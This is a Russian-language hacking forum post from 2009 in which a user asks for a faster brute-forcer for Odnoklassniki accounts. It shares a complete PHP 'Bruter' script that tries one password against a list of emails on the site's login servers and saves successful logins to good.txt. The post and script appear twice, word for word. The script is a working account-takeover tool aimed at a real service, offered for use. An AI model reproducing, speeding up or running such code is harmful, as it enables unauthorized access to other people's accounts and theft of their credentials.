*DeViL*
15.01.2009, 18:41
давно ищу брут для одноклашек... может кто ни будь поделиться софтом?..
у меня есть сие.. но скорость оставляет желать лучшего...
<?php
// Odnaklassniki cheker by Vid0k ICQ:78-327-077 from Antichat.ru
set_time_limit(0);
if(empty($_POST["mail"]))
{
?>
<html>
<body>
<h2 align=center >ODnoklassniki Bruter</h2>
<form action="odnak_brut.php" METHOD=POST >
<table align=center ><tr align=center><td>
<h2>@mail</h2><p>
<textarea name=mail cols=40 rows=20 align=center></textarea><p>
<h3>Пароль:</h3><input type=text name=pass><p><input type=submit value="Brute This">
</td></tr></table>
</form>
</body>
</html>
<?
}
else
{
echo '<html>
<body>
<h2 align=center >ODnoklassniki Bruter</h2>
<form action="odnak_brut.php" METHOD=POST >
<table align=center ><tr align=center><td>
<h2>@mail</h2><p>
<textarea name=mail cols=40 rows=20 align=center>'.$_POST["mail"].'</textarea><p>
<h3>Пароль:</h3><input type=text name=pass ><p>
<input type=submit value="Brute This"></td></tr></table>
</form>
</body>
</html>';
$aserver = Array("wg17.odnoklassniki.ru","wg10.odnoklassniki.ru","www.odnoklassniki.ru","wg3.odnoklassniki.ru","wg3.odnoklassniki.ua","wg15.odnoklassniki.ru");
$mail = split("\n",$_POST["mail"]);
$pass = $_POST["pass"];
$i = 0;
$c = 0;
$file = fopen("good.txt","a");
while($i < count($mail))
{
if($c==5){$c=0;}
$ua = 'Opera/9.61 (Windows NT 5.1; U; ru) Presto/2.1.1';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$aserver[rand(0,5)]);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
curl_setopt($ch, CURLOPT_HEADER,1);
curl_setopt($ch, CURLOPT_USERAGENT,$ua);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$result = curl_exec($ch);
preg_match("/http:\/\/wg[0-9]{1,2}.odnoklassniki.[a-z]{1,2}\/cdk\/st.cmd\/login\/tkn\/[0-9]{1,8}/",$result,$posturl);
$postdata = 'st.posted=set&st.email='.urlencode($mail[$i]).'&st.password='.$pass.'&button_go=%D0%92%D0%BE%D0%B9%D1%82%D0%B8';
curl_close($ch);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $posturl[0]);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_REFERER, "odnoklassniki.ru");
curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
$result = curl_exec($ch);
if(preg_match("/302 Found/i",$result))
{
print "$i. Good:$mail[$i]:$pass<br>";
flush();
fwrite($file,$mail[$i].":".$pass."\n");
}
else {print "$i.Bad:$mail[$i]:$pass<br>";flush();}
$c++;
$i++;
}
fclose($file);
}
?>
у меня есть сие.. но скорость оставляет желать лучшего...
<?php
// Odnaklassniki cheker by Vid0k ICQ:78-327-077 from Antichat.ru
set_time_limit(0);
if(empty($_POST["mail"]))
{
?>
<html>
<body>
<h2 align=center >ODnoklassniki Bruter</h2>
<form action="odnak_brut.php" METHOD=POST >
<table align=center ><tr align=center><td>
<h2>@mail</h2><p>
<textarea name=mail cols=40 rows=20 align=center></textarea><p>
<h3>Пароль:</h3><input type=text name=pass><p><input type=submit value="Brute This">
</td></tr></table>
</form>
</body>
</html>
<?
}
else
{
echo '<html>
<body>
<h2 align=center >ODnoklassniki Bruter</h2>
<form action="odnak_brut.php" METHOD=POST >
<table align=center ><tr align=center><td>
<h2>@mail</h2><p>
<textarea name=mail cols=40 rows=20 align=center>'.$_POST["mail"].'</textarea><p>
<h3>Пароль:</h3><input type=text name=pass ><p>
<input type=submit value="Brute This"></td></tr></table>
</form>
</body>
</html>';
$aserver = Array("wg17.odnoklassniki.ru","wg10.odnoklassniki.ru","www.odnoklassniki.ru","wg3.odnoklassniki.ru","wg3.odnoklassniki.ua","wg15.odnoklassniki.ru");
$mail = split("\n",$_POST["mail"]);
$pass = $_POST["pass"];
$i = 0;
$c = 0;
$file = fopen("good.txt","a");
while($i < count($mail))
{
if($c==5){$c=0;}
$ua = 'Opera/9.61 (Windows NT 5.1; U; ru) Presto/2.1.1';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$aserver[rand(0,5)]);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
curl_setopt($ch, CURLOPT_HEADER,1);
curl_setopt($ch, CURLOPT_USERAGENT,$ua);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$result = curl_exec($ch);
preg_match("/http:\/\/wg[0-9]{1,2}.odnoklassniki.[a-z]{1,2}\/cdk\/st.cmd\/login\/tkn\/[0-9]{1,8}/",$result,$posturl);
$postdata = 'st.posted=set&st.email='.urlencode($mail[$i]).'&st.password='.$pass.'&button_go=%D0%92%D0%BE%D0%B9%D1%82%D0%B8';
curl_close($ch);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $posturl[0]);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_REFERER, "odnoklassniki.ru");
curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
$result = curl_exec($ch);
if(preg_match("/302 Found/i",$result))
{
print "$i. Good:$mail[$i]:$pass<br>";
flush();
fwrite($file,$mail[$i].":".$pass."\n");
}
else {print "$i.Bad:$mail[$i]:$pass<br>";flush();}
$c++;
$i++;
}
fclose($file);
}
?>